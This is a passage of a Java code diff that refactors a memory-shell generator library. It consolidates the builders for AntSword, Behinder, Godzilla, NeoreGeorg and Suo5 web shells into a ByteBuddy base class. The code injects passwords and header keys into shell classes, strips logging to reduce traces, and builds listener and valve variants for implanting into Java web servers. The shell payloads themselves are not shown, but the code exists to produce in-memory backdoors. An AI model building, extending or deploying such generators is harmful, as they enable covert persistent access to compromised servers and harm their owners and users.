|
||||||
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
|
|
||||||
}
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(antSwordConfig.getShellClass())
|
|
||||||
.name(antSwordConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", antSwordConfig.getPass());
|
|
||||||
put("headerName", antSwordConfig.getHeaderName());
|
|
||||||
put("headerValue", antSwordConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
|
||||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-60
@@ -1,19 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -21,57 +11,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderGenerator {
|
public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
|
||||||
private final ShellConfig shellConfig;
|
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
|
||||||
private final BehinderConfig behinderConfig;
|
super(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.behinderConfig = behinderConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
if (behinderConfig.getShellClass() == null) {
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
|
||||||
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
|
return builder.field(named("pass")).value(md5Key)
|
||||||
}
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
if (StringUtils.isBlank(behinderConfig.getPass())) {
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
|
|
||||||
}
|
|
||||||
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(behinderConfig.getShellClass())
|
|
||||||
.name(behinderConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", md5Key);
|
|
||||||
put("headerName", behinderConfig.getHeaderName());
|
|
||||||
put("headerValue", behinderConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+61
@@ -0,0 +1,61 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
|
||||||
|
protected final ShellConfig shellConfig;
|
||||||
|
protected final T shellToolConfig;
|
||||||
|
|
||||||
|
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.shellToolConfig = shellToolConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public byte[] getBytes() {
|
||||||
|
Class<?> shellClass = shellToolConfig.getShellClass();
|
||||||
|
String shellClassName = shellToolConfig.getShellClassName();
|
||||||
|
DynamicType.Builder<?> builder = build(new ByteBuddy()
|
||||||
|
.redefine(shellClass)
|
||||||
|
.name(shellClassName)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
|
||||||
|
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
AbstractShell shell = shellConfig.getServer().getShell();
|
||||||
|
|
||||||
|
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||||
|
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
|
||||||
|
builder = ValveGenerator.build(builder, shell);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-10
@@ -12,25 +12,21 @@ import java.util.Base64;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/3/18
|
* @since 2025/3/18
|
||||||
*/
|
*/
|
||||||
public class CustomShellGenerator {
|
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
|
||||||
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CustomConfig customConfig;
|
|
||||||
|
|
||||||
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, customConfig);
|
||||||
this.customConfig = customConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
String shellClassBase64 = customConfig.getShellClassBase64();
|
String shellClassBase64 = shellToolConfig.getShellClassBase64();
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellClassBase64)) {
|
if (StringUtils.isBlank(shellClassBase64)) {
|
||||||
throw new IllegalArgumentException("Custom shell class is empty");
|
throw new IllegalArgumentException("Custom shell class is empty");
|
||||||
}
|
}
|
||||||
|
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
|
||||||
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
|
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
|
||||||
|
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-62
@@ -1,19 +1,10 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -21,62 +12,20 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/23
|
* @since 2024/11/23
|
||||||
*/
|
*/
|
||||||
public class GodzillaGenerator {
|
public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final GodzillaConfig godzillaConfig;
|
|
||||||
|
|
||||||
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, godzillaConfig);
|
||||||
this.godzillaConfig = godzillaConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
if (godzillaConfig.getShellClass() == null) {
|
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
|
||||||
}
|
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
|
||||||
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
return builder.field(named("pass")).value(shellToolConfig.getPass())
|
||||||
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
.field(named("key")).value(md5Key)
|
||||||
}
|
.field(named("md5")).value(md5)
|
||||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(godzillaConfig.getShellClass())
|
|
||||||
.name(godzillaConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", godzillaConfig.getPass());
|
|
||||||
put("key", md5Key);
|
|
||||||
put("md5", md5);
|
|
||||||
put("headerName", godzillaConfig.getHeaderName());
|
|
||||||
put("headerValue", godzillaConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
|
|
||||||
.field(named("key")).value(md5Key)
|
|
||||||
.field(named("md5")).value(md5)
|
|
||||||
.field(named("headerName")).value(godzillaConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-1
@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
import net.bytebuddy.dynamic.scaffold.TypeValidation;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import net.bytebuddy.pool.TypePool;
|
import net.bytebuddy.pool.TypePool;
|
||||||
import java.util.Base64;;
|
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
|
|||||||
+13
-22
@@ -1,20 +1,19 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -22,18 +21,8 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
*/
|
*/
|
||||||
public class ListenerGenerator {
|
public class ListenerGenerator {
|
||||||
|
|
||||||
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) {
|
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
|
||||||
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
|
builder = builder.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
boolean needAddGetFieldValue = false;
|
|
||||||
try {
|
|
||||||
targetClass.getMethod("getFieldValue", Object.class, String.class);
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
needAddGetFieldValue = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(targetClass)
|
|
||||||
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(named("getResponseFromRequest"),
|
.method(named("getResponseFromRequest"),
|
||||||
new MethodCallReplaceVisitorWrapper(
|
new MethodCallReplaceVisitorWrapper(
|
||||||
newClassName,
|
newClassName,
|
||||||
@@ -42,17 +31,19 @@ public class ListenerGenerator {
|
|||||||
)
|
)
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
|
|
||||||
if (needAddGetFieldValue) {
|
boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
|
||||||
|
.getDeclaredMethods()
|
||||||
|
.filter(named("getFieldValue")
|
||||||
|
.and(takesArguments(Object.class, String.class)))
|
||||||
|
.isEmpty();
|
||||||
|
|
||||||
|
if (methodNotFound) {
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(Object.class, String.class)
|
.withParameters(Object.class, String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(FixedValue.nullValue())
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
}
|
}
|
||||||
|
return builder;
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
|
||||||
return unloaded
|
|
||||||
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
|
|
||||||
.getLoaded();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-49
@@ -1,66 +1,23 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/12
|
* @since 2025/2/12
|
||||||
*/
|
*/
|
||||||
public class NeoreGeorgGenerator {
|
public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final NeoreGeorgConfig neoreGeorgConfig;
|
|
||||||
|
|
||||||
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, neoreGeorgConfig);
|
||||||
this.neoreGeorgConfig = neoreGeorgConfig;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
.redefine(neoreGeorgConfig.getShellClass())
|
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.name(neoreGeorgConfig.getShellClassName())
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", neoreGeorgConfig.getHeaderName());
|
|
||||||
put("headerValue", neoreGeorgConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/5/27
|
||||||
|
*/
|
||||||
|
public interface ShellGenerator {
|
||||||
|
|
||||||
|
byte[] getBytes();
|
||||||
|
}
|
||||||
@@ -1,66 +1,25 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Suo5Config;
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/2/12
|
* @since 2025/2/12
|
||||||
*/
|
*/
|
||||||
public class Suo5Generator {
|
public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final Suo5Config suo5Config;
|
|
||||||
|
|
||||||
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
this.shellConfig = shellConfig;
|
super(shellConfig, suo5Config);
|
||||||
this.suo5Config = suo5Config;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
@Override
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
|
||||||
.redefine(suo5Config.getShellClass())
|
return builder
|
||||||
.name(suo5Config.getShellClassName())
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("headerName", suo5Config.getHeaderName());
|
|
||||||
put("headerValue", suo5Config.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.field(named("headerName")).value(suo5Config.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(suo5Config.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
